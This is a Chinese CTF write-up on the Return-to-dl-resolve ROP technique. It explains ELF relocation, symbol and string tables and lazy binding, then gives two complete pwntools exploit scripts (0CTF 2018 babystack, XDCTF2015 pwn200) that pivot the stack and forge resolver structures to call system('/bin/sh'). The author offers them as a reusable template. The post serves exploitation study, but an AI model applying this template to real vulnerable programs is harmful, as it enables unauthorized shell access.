Return-to-dl-resolve 分析及实战

2020-04-29 12,776

前言:

这个攻击方法 属于pwn中栈溢出的高级ROP技术。我之前在学这个知识的时候,学的 时一头雾水,而这几天在刷题,刷到了与之相关的 pwn 题目。于是便打算 将此知识点 详细 记录下来并分享!

elf 相关知识:

一个典型的ELF文件包括 ELF Header,Sections,Section Header Table 和 Program Table。

86rMp6.png

我们可以用“readelf -S 程序名”   可以查看  程序节的 信息:

 
 共有 29 个节头,从偏移量 0x1150 开始:
 
 节头:
 
   [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
 
   [ 9] .rel.dyn          REL             080482a8 0002a8 000008 08   A  5   0  4    #.rel.dyn节是用于变量重定位
 
   [10] .rel.plt          REL             080482b0 0002b0 000018 08  AI  5  24  4    #.rel.plt节是用于函数重定位
 
   [11] .init             PROGBITS        080482c8 0002c8 000023 00  AX  0   0  4    #保存了程序运行前的初始化代码
 
   [12] .plt              PROGBITS        080482f0 0002f0 000040 04  AX  0   0 16    #.plt节是过程链接表。过程链接表把位置独立的函数调用重定向到绝对位置。
 
   [13] .plt.got          PROGBITS        08048330 000330 000008 00  AX  0   0  8
 
   [16] .rodata           PROGBITS        08048508 000508 000008 00   A  0   0  4   #.rodata:只读数据段,比如常量
 
   [22] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4    # 可执行文件参与动态链接,就会包含这个节
 
   [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4    #全局变量偏移
 
   [24] .got.plt          PROGBITS        0804a000 001000 000018 04  WA  0   0  4    #全局函数 偏移
 
   [25] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4    #已初始化的全局变量和静态变量
 
   [26] .bss              NOBITS          0804a020 001020 000004 00  WA  0   0  1    #未初始化的全局变量和静态变量,所有被初始化成0的全局变量和静态变量
 
 Key to Flags:
 
   W (write), A (alloc), X (execute), M (merge), S (strings)
 
   I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
 
   O (extra OS processing required) o (OS specific), p (processor specific)
 

而如果一个可执行文件参与动态链接,它的程序头部表将包含类型为PT_DYNAMIC的段,它包含.dynamic节。(在上面代码段中 [22] 中可以看到)结构如下:

 
 typedef struct {
 
     Elf32_Sword d_tag;
 
     union {
 
         Elf32_Word d_val;
 
         Elf32_Addr d_ptr;
 
     } d_un;
 
 } Elf32_Dyn;
 

我们可以用 readelf -d 程序名查看 .dynamic 节的信息:

这里我们重点 看  (STRTAB)  (SYMTAB)  (JMPREL)   就好。

 
 Dynamic section at offset 0xf14 contains 24 entries:
 
   标记        类型                         名称/值
 
  0x00000005 (STRTAB)                     0x804822c #字符串表     内容包括. symtab和. debug节中的符号表
 
  0x00000006 (SYMTAB)                     0x80481cc # 符号表      #存放了程序中定义和引用的函数和全局变量的信息
 
  0x00000017 (JMPREL)                     0x80482b0  #可重定位表
 

我们分别来了解下 (JMPREL)   (SYMTAB)  (STRTAB):的结构。

(JMPREL)  

 
 typedef struct {
 
     Elf32_Addr r_offset;    // 对于可执行文件,此值为虚拟地址  函数got地址
 
     Elf32_Word r_info;      // 动态符号符号表索引
 
 } Elf32_Rel;
 
 
 #define ELF32_R_SYM(info) ((info)>>8)
 
 #define ELF32_R_TYPE(info) ((unsigned char)(info))
 
 #define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))
 

 (SYMTAB)

 
 typedef struct
 
 {
 
     Elf32_Word st_name;     // Symbol name(string tbl index)
 
     Elf32_Addr st_value;    // Symbol value
 
     Elf32_Word st_size;     // Symbol size
 
     unsigned char st_info;  // Symbol type and binding
 
     unsigned char st_other; // Symbol visibility under glibc>=2.2
 
     Elf32_Section st_shndx; // Section index
 
 } Elf32_Sym;
 

(STRTAB):

.dynstr节包含了动态链接的字符串。这个节以\x00作为开始和结尾,中间每个字符串也以\x00间隔。

 
 pwndbg> x/10s 0x804822c
 
 0x804822c:""
 
 0x804822d:"libc.so.6"
 
 0x8048237:"_IO_stdin_used"
 
 0x8048246:"read"
 
 0x804824b:"alarm"
 
 0x8048251:"__libc_start_main"
 
 0x8048263:"__gmon_start__"
 
 0x8048272:"GLIBC_2.0"
 
 0x804827c:""
 
 0x804827d:""
 

2018_0CTF_babystack

用实例 建立上述结构间的联系,

我们将   2018_0CTF_babystack 拖入ida:

 
 int __cdecl main()
 
 {
 
   alarm(0xAu);
 
   sub_804843B();
 
   return 0;
 
 }
 
 ssize_t sub_804843B()
 
 {
 
   char buf; // [esp+0h] [ebp-28h]
 
   return read(0, &buf, 0x40u);    //栈溢出漏洞
 
 }
 

查询保护:

 
 Arch:     i386-32-little
 
     RELRO:    Partial RELRO
 
     Stack:    No canary found
 
     NX:       NX enabled
 
     PIE:      No PIE (0x8048000)
 

分析:

没有输出,找不到write函数,所以无法进行内存泄露

没有提供libc,所以不可能计算偏移(ret2libc不可行)

开启NX保护,所有把shellcode布置到栈中的操作都不可行

程序有输入,但只有一次。

这里 便是 让我们只能 使用 Return-to-dl-resolve 攻击了。

在这之前  我们 来动态走下,来理解下,程序中的延迟绑定是怎样运行的。 我们 就拿  alarm.plt 学习吧!

 
 ► 0x804846d    call   alarm@plt <0x8048310>    
 
         seconds: 0xa
 

si 进入

86rl6O.png

接着 我们跳到了 .plt (或称 plt_0)节中( 080482f0)                

这里 留意下 我们在下面构造payload的时候,返回地址 是覆盖 为了 .plt_0 即0x080480f0,所以当我们返回到这里然后 执行的时候,并不会执行 0x8048310地址与0x8048316地址中的指令,即使该函数已经延迟绑定过了,将会 再次进行绑定。

那里就两条指令,首先 push 进一个数 : 0x804a004指向的一个数,然后又跳到了  <0xf7fee000> 处。

 
 0x80482f0       push   dword ptr [0x804a004]               #got[1]
 
   0x80482f6       jmp    dword ptr [0x804a008] <0xf7fee000>  #got[2]
 

0x804a000是got.plt表的起始地址。

GOT表的前三项有特殊含义:

第一项是.dynamic段的地址,第二个是link_map的地址,第三个是_dl_runtime_resolve函数的地址,

第四项开始往后 就是函数的GOT表了

 
 .got.plt:0804A000 _got_plt        segment dword public 'DATA' use32
 
 .got.plt:0804A000                 assume cs:_got_plt
 
 .got.plt:0804A000                 ;org 804A000h
 
 .got.plt:0804A000                 dd offset stru_8049F14
 
 .got.plt:0804A004 dword_804A004   dd 0                    ; DATA XREF: sub_80482F0↑r
 
 .got.plt:0804A008 dword_804A008   dd 0                    ; DATA XREF: sub_80482F0+6↑r
 
 .got.plt:0804A00C off_804A00C     dd offset read          ; DATA XREF: _read↑r
 
 .got.plt:0804A010 off_804A010     dd offset alarm         ; DATA XREF: _alarm↑r
 
 .got.plt:0804A014 off_804A014     dd offset __libc_start_main
 
 .got.plt:0804A014                                         ; DATA XREF: ___libc_start_main↑r
 
 .got.plt:0804A014 _got_plt        ends
 

所以 相当于执行  _dl_runtime_resolve(link_map,rel_offset)

我们来看下  _dl_runtime_resolve 源码:

我们在刚进入 alarm_plt中 push的 8 作为该函数 的第二个参数 reloc_arg ,got[1]  即0xf7fee000  link_map指针作为该函数 第一个参数。

 
 _dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
 
 {
 
     // 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
 
     const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
 
     // 然后通过reloc->r_info找到.dynsym中对应的条目
 
     const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
 
     // 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
 
     assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
 
     // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
 
     result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
 
     // value为libc基址加上要解析函数的偏移地址,也即实际地址
 
     value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
 
     // 最后把value写入相应的GOT表条目中
 
     return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
 

即这里 我们可以推出  reloc_arg 是 重定位表中alarm函数距离 JMPREL节的偏移   即上面调试图中的  push 8 中的 8

我们可以用 readelf -r 程序名 查看函数重定位表的内容

重定位节 '.rel.plt' 位于偏移量 0x2b0 含有 3 个条目:

 
 偏移量     信息    类型              符号值      符号名称
 
 0804a00c  00000107 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
 
 0804a010  00000207 R_386_JUMP_SLOT   00000000   alarm@GLIBC_2.0
 
 0804a014  00000407 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
 

我们计算下 :

 
 0x00000017 (JMPREL)                     0x80482b0
 
 reloc_arg                                 8
 

0x80482b8就是  (JMPREL)   的数据结构

 
 pwndbg> x/2wx 0x80482b0+8
 
 0x80482b8:0x0804a0100x00000207          //其中 0x0804a010
 

这里是函数相对应的got地址,用来存放 延迟绑定后的 函数地址    

然后 0x207 是JMPREL结构体中的r_offset(重定位入口的类型和符号)低8位表示重定位入口的偏移,高24位表示重定位入口的符号在.dynsym动态符号表中的下标。

alarm函数的r_info为0x207,0x207 >> 8 = 2,所以alarm函数在.dynsym动态符号表中的下标就是2

验证下:

 
 pwndbg> x/4wx 0x80481cc+0x10*2          //0x80481cc 就是  .dynsym动态符号表 的地址
 
 0x80481ec:0x0000001f0x000000000x000000000x00000012
 

我觉得在ida 中看 更清晰些:

86rQ1K.png

而.dynsym 动态符号表中 的 st_name;  表示该成员在字符串表 .dynsym中 的偏移

我们来确定下 :.dynsym的地址加上 0x1f 中存的是不是 alarm 。当然 ,我们仍还是正确。

 
 #0x00000005 (STRTAB)                     0x804822c
 
 
 pwndbg> x/s 0x804822c+0x1f
 
 0x804824b:"alarm"
 

然后最后就是把延迟绑定后的 got地址存在了 (JMPREL)结构 的 Elf32_Addr r_offset  处。

漏洞利用:

基于上面我们的分析,Return-to-dl-resolve 攻击的漏洞利用方式,即是:

  1. 控制eip为PLT[0]的地址,只需传递一个index_arg参数  

  2. 控制index_arg的大小,使reloc的位置落在可控地址内

  3. 伪造reloc的内容,使sym落在可控地址内

  4. 伪造sym的内容,使name落在可控地址内

  5. 伪造name为任意库函数,如system

所以我们 再程序分析

没有输出,找不到write函数,所以无法进行内存泄露

没有提供libc,所以不可能计算偏移(ret2libc不可行)

开启NX保护,所有把shellcode布置到栈中的操作都不可行

程序有输入,但只有一次。                           // 一次 输入 getshell

所以 我们首先将 栈迁移到bss 段上,然后获取更多字节的输入,为 Return-to-dl-resolve 攻击 去布置 新 的栈的环境(bss段)。

详见 exp(注意  exp中 注释)

我看网上 我看有 关于 栈迁移和 Return-to-dl-resolve 的ROP构造工具,

但我目前觉得,最好 使用下面这种exp ,虽然原始,但很利于明白原理。

有没有发现,把它当模板的话,只需要 改下  eave_ret 地址和offset就 OK了

 
 #coding:utf8
 
 from pwn import *
 
 #context.log_level = 'debug'
 
 conn = process('./babystack')
 
 elf = ELF('./babystack')
 
 print "1 :栈迁移到 bss 段上*******************************************************************************"
 
 read_plt = elf.plt['read']                    # 0x8048300
 
 offset = 0x28
 
 leave_ret = 0x08048455                       # ROPgadget --binary bof --only "leave|ret"
 
 stack_size = 0x800
 
 bss_addr = elf.bss()                          #0x0804a020
 
 base_stage = bss_addr + stack_size            #0x804a820
 
 payload1 = 'a'*offset
 
 payload1 += p32(base_stage)#pop ebp
 
 payload1 += p32(read_plt)
 
 payload1 += p32(leave_ret) #leave: mov esp,ebp; pop ebp
 
 payload1 += p32(0)
 
 payload1 += p32(base_stage)
 
 payload1 += p32(100)
 
 conn.send(payload1)
 
 print "2 :Return-to-dl-resolve  准备*************************************************************************"
 
 plt_0 = elf.get_section_by_name('.plt').header.sh_addr        #0x80482f0   # objdump -d -j .plt babystack
 
 rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr  #0x80482b0   # objdump -s -j .rel.plt babystack
 
 dynsym = elf.get_section_by_name('.dynsym').header.sh_addr    #0x080481CC
 
 dynstr = elf.get_section_by_name('.dynstr').header.sh_addr    #0x0804822C
 
 print "2.1:伪造 alarm的重定位表爲 system的重定位表************************************************************"
 
 alarm_got = elf.got['alarm']
 
 index_offset = (base_stage + 28) - rel_plt                   # base_stage + 28指向fake_reloc,减去rel_plt即偏移
 
 fake_sym_addr = base_stage + 36
 
 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)              #动态符号表 0x10 对齐
 
 fake_sym_addr = fake_sym_addr + align              
 
 index_dynsym = (fake_sym_addr - dynsym) / 0x10
 
 r_info = (index_dynsym << 8) | 0x7
 
 fake_reloc = p32(alarm_got) + p32(r_info)
 
 print "2.2:伪造 write的符號表表爲 system的符號表************************************************************"
 
 st_name = (fake_sym_addr + 0x10) - dynstr  
 
 fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
 
 #gdb.attach(conn)
 
 print "3 :Return-to-dl-resolve  攻擊*************************************************************************"
 
 canshu = "/bin/sh\x00"
 
 payload2 = p32(0xdeadbeef)                  # 接上一个payload的leave->pop ebp ; ret
 
 payload2 += p32(plt_0)
 
 payload2 += p32(index_offset)               # 我們 调试中的 push 20中的20
 
 payload2 += 'aaaa'
 
 payload2 += p32(base_stage + 80)
 
 payload2 += 'a'*(28-len(payload2))
 
 payload2 += fake_reloc                      # (base_stage+28)的位置
 
 payload2 += 'b' * align
 
 payload2 += fake_sym      # (base_stage+36)的位置
 
 payload2 += "system\x00"
 
 payload2 += 'a' * (80 - len(payload2))
 
 payload2 += canshu
 
 payload2 += 'a' * (100 - len(payload2))
 
 print len(payload2)
 
 conn.sendline(payload2)
 
 conn.interactive()
 

86rufx.png

getshell

经典的 xdctf2015_pwn200

检查文件属性 及 保护:

 
 $ file bof
 
 bof: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
 
 interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=fc5e034a825421d264c9dea820942b910d3b7f69, not stripped
 
 $ checksec bof
 
 [*]
 
     RELRO:    Partial RELRO
 
     Stack:    No canary found
 
     NX:       NX enabled
 
     PIE:      No PIE (0x8048000)
 

拖入ida:

 
 int __cdecl main(int argc, const char **argv, const char **envp)
 
 {
 
   size_t v3; // eax
 
   char buf[4]; // [esp+0h] [ebp-7Ch]
 
   char v6; // [esp+18h] [ebp-64h]
 
   int *v7; // [esp+70h] [ebp-Ch]
 
   v7 = &argc;
 
   strcpy(buf, "Welcome to XDCTF2015~!\n");
 
   memset(&v6, 0, 0x4Cu);
 
   setbuf(stdout, buf);
 
   v3 = strlen(buf);
 
   write(1, buf, v3);             #我们 用 write.plt
 
   vuln();
 
   return 0;
 
 }
 
 ssize_t vuln()
 
 {
 
   char buf; // [esp+Ch] [ebp-6Ch]
 
   setbuf(stdin, &buf);
 
   return read(0, &buf, 0x100u);   存在栈溢出
 
 }
 

很明显的 栈溢出漏洞。

offset 为 0x6c 我们可输入0x100,输入其实很长的,但目前 很是满足 Return-to-dl-resolve,

只需 改下 offset 和 leave_ret_addr 跑下。。

哦 对了,这次我们 使用 write 而不再是alarm ,所以我们还需更改下  elf.got['alarm]   为    elf.got['write']。

 
 #coding:utf8
 
 from pwn import *
 
 elf = ELF('./bof')
 
 #conn = process('./bof')
 
 conn = remote("node3.buuoj.cn",29850)
 
 print "************************************************************************************************"
 
 offset = 0x6c
 
 read_plt = elf.plt['read']
 
 write_plt = elf.plt['write']
 
 write_got = elf.got['write']
 
 leave_ret = 0x08048445 # ROPgadget --binary bof --only "leave|ret"
 
 stack_size = 0x800
 
 bss_addr = elf.bss()
 
 base_stage = bss_addr + stack_size
 
 print "栈迁移到 bss 段上*******************************************************************************"
 
 conn.recvuntil('Welcome to XDCTF2015~!\n')
 
 payload1 = 'A' * offset
 
 payload1 += p32(base_stage)
 
 payload1 += p32(read_plt)
 
 payload1 += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
 
 payload1 += p32(0)
 
 payload1 += p32(base_stage)
 
 payload1 += p32(100)
 
 conn.sendline(payload1)
 
 #gdb.attach(conn)
 
 print "2 :Return-to-dl-resolve  准备*************************************************************************"
 
 plt_0 = elf.get_section_by_name('.plt').header.sh_addr         #0x08048370  # objdump -d -j .plt bof
 
 rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr   #0x08048324  # objdump -s -j .rel.plt bof
 
 dynsym = elf.get_section_by_name('.dynsym').header.sh_addr     #0x080481cc
 
 dynstr = elf.get_section_by_name('.dynstr').header.sh_addr     #0x0804826c
 
 print "2.1:伪造 alarm的重定位表爲 system的重定位表************************************************************"
 
 index_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc,减去rel_plt即偏移
 
 fake_sym_addr = base_stage + 36
 
 align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
 
 fake_sym_addr = fake_sym_addr + align
 
 index_dynsym = (fake_sym_addr - dynsym) / 0x10
 
 r_info = (index_dynsym << 8) | 0x7
 
 fake_reloc = p32(write_got) + p32(r_info)
 
 print "2.2:伪造 write的符號表表爲 system的符號表************************************************************"
 
 st_name = (fake_sym_addr + 0x10) - dynstr
 
 fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
 
 print "3 :Return-to-dl-resolve  攻擊*************************************************************************"
 
 canshu = "/bin/sh\x00"
 
 payload2 = p32(0xdeadbeef)                          # 接上一个payload的leave->pop ebp ; ret
 
 payload2 += p32(plt_0)                  #fixup(struct link_map *l,ELFW(Word) reloc_arg)
 
 payload2 += p32(index_offset)
 
 payload2 += 'AAAA'
 
 payload2 += p32(base_stage + 80)
 
 payload2 += 'a'*(28-len(payload2))
 
 payload2 += fake_reloc # (base_stage+28)的位置
 
 payload2 += 'B' * align
 
 payload2 += fake_sym  # (base_stage+36)的位置
 
 payload2 += "system\x00"
 
 payload2 += 'A' * (80 - len(payload2))
 
 payload2 += canshu
 
 payload2 += 'A' * (100 - len(payload2))
 
 conn.sendline(payload2)
 
 conn.interactive()
 

86rnt1.png

一把梭,getshell。

参考链接:

 
 http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
 
 https://fmyy.pro/2020/01/15/StackOverFlow/Advanced-ROP/
 
 https://www.dazhuanlan.com/2019/12/12/5df1782a02437/
 
 https://www.anquanke.com/post/id/184099#h2-4
 
 https://www.cnblogs.com/elvirangel/p/8994799.html#_label0
 
 https://bbs.pediy.com/thread-227034.htm
 



本文作者:『木头』

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/129547.html

Tags:
评论  (0)
快来写下你的想法吧!

『木头』

文章数:1 积分: 20

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号